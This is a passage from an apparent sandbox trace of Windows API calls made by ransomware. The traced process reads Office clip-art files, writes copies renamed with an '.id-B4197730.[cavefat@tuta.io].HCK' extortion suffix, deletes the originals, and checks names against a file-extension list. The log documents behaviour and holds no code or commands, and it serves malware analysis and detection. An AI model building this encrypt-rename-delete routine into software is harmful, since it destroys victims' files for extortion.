lpNumberOfBytesRead=0x310fecc*=0x1d4a, lpOverlapped=0x0) returned 1 [0170.846] WriteFile (in: hFile=0x38c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1d50, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1d50, lpOverlapped=0x0) returned 1 [0170.847] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.847] WriteFile (in: hFile=0x38c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.847] SetEndOfFile (hFile=0x38c) returned 1 [0170.849] CloseHandle (hObject=0x38c) returned 1 [0170.850] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.850] SetEndOfFile (hFile=0x39c) returned 1 [0170.853] CloseHandle (hObject=0x39c) returned 1 [0170.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.855] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212953.wmf")) returned 1 [0170.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF") returned 68 [0170.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF") returned 68 [0170.857] lstrlenW (lpString=".doc") returned 4 [0170.857] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.857] lstrlenW (lpString=".docx") returned 5 [0170.857] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0170.857] lstrlenW (lpString=".pdf") returned 4 [0170.857] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.857] lstrlenW (lpString=".xls") returned 4 [0170.857] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.857] lstrlenW (lpString=".xlsx") returned 5 [0170.857] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0170.857] lstrlenW (lpString=".ppt") returned 4 [0170.857] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF") returned 68 [0170.857] lstrlenW (lpString=".zip") returned 4 [0170.857] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.857] lstrlenW (lpString=".rar") returned 4 [0170.857] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.858] lstrlenW (lpString=".bz2") returned 4 [0170.858] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.858] lstrlenW (lpString=".7z") returned 3 [0170.858] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF") returned 68 [0170.858] lstrlenW (lpString=".dbf") returned 4 [0170.858] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF") returned 68 [0170.858] lstrlenW (lpString=".1cd") returned 4 [0170.858] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF") returned 68 [0170.858] lstrlenW (lpString=".jpg") returned 4 [0170.858] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF") returned 68 [0170.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF") returned 68 [0170.858] lstrlenW (lpString=".doc") returned 4 [0170.858] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.858] lstrlenW (lpString=".docx") returned 5 [0170.858] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0170.858] lstrlenW (lpString=".pdf") returned 4 [0170.858] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.858] lstrlenW (lpString=".xls") returned 4 [0170.858] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.858] lstrlenW (lpString=".xlsx") returned 5 [0170.858] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0170.858] lstrlenW (lpString=".ppt") returned 4 [0170.858] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF") returned 68 [0170.858] lstrlenW (lpString=".zip") returned 4 [0170.858] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.858] lstrlenW (lpString=".rar") returned 4 [0170.858] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.858] lstrlenW (lpString=".bz2") returned 4 [0170.858] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.858] lstrlenW (lpString=".7z") returned 3 [0170.858] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF") returned 68 [0170.858] lstrlenW (lpString=".dbf") returned 4 [0170.858] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF") returned 68 [0170.858] lstrlenW (lpString=".1cd") returned 4 [0170.858] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF") returned 68 [0170.859] lstrlenW (lpString=".jpg") returned 4 [0170.859] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.859] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.859] lstrlenW (lpString="J0214948.WMF") returned 12 [0170.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0214948.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0170.865] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=44794) returned 1 [0170.865] CloseHandle (hObject=0x370) returned 1 [0170.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0214948.wmf")) returned 0x220 [0170.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0214948.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0214948.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0170.874] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.875] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0214948.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0170.877] GetLastError () returned 0x0 [0170.877] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xaefa, lpOverlapped=0x0) returned 1 [0170.880] WriteFile (in: hFile=0x30c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xaf00, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xaf00, lpOverlapped=0x0) returned 1 [0170.881] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.881] WriteFile (in: hFile=0x30c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.881] SetEndOfFile (hFile=0x30c) returned 1 [0170.883] CloseHandle (hObject=0x30c) returned 1 [0170.886] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.886] SetEndOfFile (hFile=0x39c) returned 1 [0170.888] CloseHandle (hObject=0x39c) returned 1 [0170.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.891] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0214948.wmf")) returned 1 [0170.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF") returned 68 [0170.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF") returned 68 [0170.893] lstrlenW (lpString=".doc") returned 4 [0170.893] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.893] lstrlenW (lpString=".docx") returned 5 [0170.893] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0170.893] lstrlenW (lpString=".pdf") returned 4 [0170.893] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.893] lstrlenW (lpString=".xls") returned 4 [0170.893] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.893] lstrlenW (lpString=".xlsx") returned 5 [0170.893] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0170.893] lstrlenW (lpString=".ppt") returned 4 [0170.893] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF") returned 68 [0170.893] lstrlenW (lpString=".zip") returned 4 [0170.893] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.893] lstrlenW (lpString=".rar") returned 4 [0170.893] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.893] lstrlenW (lpString=".bz2") returned 4 [0170.893] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.893] lstrlenW (lpString=".7z") returned 3 [0170.893] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF") returned 68 [0170.893] lstrlenW (lpString=".dbf") returned 4 [0170.893] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF") returned 68 [0170.893] lstrlenW (lpString=".1cd") returned 4 [0170.893] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF") returned 68 [0170.893] lstrlenW (lpString=".jpg") returned 4 [0170.893] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF") returned 68 [0170.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF") returned 68 [0170.893] lstrlenW (lpString=".doc") returned 4 [0170.893] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.893] lstrlenW (lpString=".docx") returned 5 [0170.893] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0170.893] lstrlenW (lpString=".pdf") returned 4 [0170.894] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.894] lstrlenW (lpString=".xls") returned 4 [0170.894] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.894] lstrlenW (lpString=".xlsx") returned 5 [0170.894] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0170.894] lstrlenW (lpString=".ppt") returned 4 [0170.894] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF") returned 68 [0170.894] lstrlenW (lpString=".zip") returned 4 [0170.894] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.894] lstrlenW (lpString=".rar") returned 4 [0170.894] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.894] lstrlenW (lpString=".bz2") returned 4 [0170.894] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.894] lstrlenW (lpString=".7z") returned 3 [0170.894] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF") returned 68 [0170.894] lstrlenW (lpString=".dbf") returned 4 [0170.894] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF") returned 68 [0170.894] lstrlenW (lpString=".1cd") returned 4 [0170.894] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF") returned 68 [0170.894] lstrlenW (lpString=".jpg") returned 4 [0170.894] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.894] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.894] lstrlenW (lpString="J0215709.WMF") returned 12 [0170.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215709.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0170.902] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=9290) returned 1 [0170.902] CloseHandle (hObject=0x2ec) returned 1 [0170.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215709.wmf")) returned 0x220 [0170.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215709.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215709.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0170.910] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.910] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215709.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0170.913] GetLastError () returned 0x0 [0170.913] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x244a, lpOverlapped=0x0) returned 1 [0170.915] WriteFile (in: hFile=0x38c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x2450, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x2450, lpOverlapped=0x0) returned 1 [0170.916] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.916] WriteFile (in: hFile=0x38c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.916] SetEndOfFile (hFile=0x38c) returned 1 [0170.917] CloseHandle (hObject=0x38c) returned 1 [0170.918] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.918] SetEndOfFile (hFile=0x39c) returned 1 [0170.922] CloseHandle (hObject=0x39c) returned 1 [0170.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.923] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215709.wmf")) returned 1 [0170.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF") returned 68 [0170.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF") returned 68 [0170.927] lstrlenW (lpString=".doc") returned 4 [0170.927] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.927] lstrlenW (lpString=".docx") returned 5 [0170.927] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0170.927] lstrlenW (lpString=".pdf") returned 4 [0170.927] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.927] lstrlenW (lpString=".xls") returned 4 [0170.927] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.927] lstrlenW (lpString=".xlsx") returned 5 [0170.927] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0170.927] lstrlenW (lpString=".ppt") returned 4 [0170.927] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF") returned 68 [0170.927] lstrlenW (lpString=".zip") returned 4 [0170.927] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.927] lstrlenW (lpString=".rar") returned 4 [0170.927] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.927] lstrlenW (lpString=".bz2") returned 4 [0170.927] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.927] lstrlenW (lpString=".7z") returned 3 [0170.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF") returned 68 [0170.927] lstrlenW (lpString=".dbf") returned 4 [0170.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF") returned 68 [0170.927] lstrlenW (lpString=".1cd") returned 4 [0170.927] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF") returned 68 [0170.927] lstrlenW (lpString=".jpg") returned 4 [0170.927] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF") returned 68 [0170.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF") returned 68 [0170.927] lstrlenW (lpString=".doc") returned 4 [0170.927] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.927] lstrlenW (lpString=".docx") returned 5 [0170.927] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0170.927] lstrlenW (lpString=".pdf") returned 4 [0170.927] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.927] lstrlenW (lpString=".xls") returned 4 [0170.927] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.927] lstrlenW (lpString=".xlsx") returned 5 [0170.927] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0170.927] lstrlenW (lpString=".ppt") returned 4 [0170.927] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF") returned 68 [0170.927] lstrlenW (lpString=".zip") returned 4 [0170.927] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.927] lstrlenW (lpString=".rar") returned 4 [0170.928] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.928] lstrlenW (lpString=".bz2") returned 4 [0170.928] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.928] lstrlenW (lpString=".7z") returned 3 [0170.928] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF") returned 68 [0170.928] lstrlenW (lpString=".dbf") returned 4 [0170.928] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF") returned 68 [0170.928] lstrlenW (lpString=".1cd") returned 4 [0170.928] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF") returned 68 [0170.928] lstrlenW (lpString=".jpg") returned 4 [0170.928] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.928] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0170.928] lstrlenW (lpString="J0216153.JPG") returned 12 [0170.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216153.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0170.933] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=21620) returned 1 [0170.933] CloseHandle (hObject=0x39c) returned 1 [0170.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216153.jpg")) returned 0x220 [0170.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216153.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216153.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0170.948] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.948] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216153.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0170.954] GetLastError () returned 0x0 [0170.954] ReadFile (in: hFile=0x2ec, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x5474, lpOverlapped=0x0) returned 1 [0170.956] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x5480, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x5480, lpOverlapped=0x0) returned 1 [0170.957] ReadFile (in: hFile=0x2ec, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 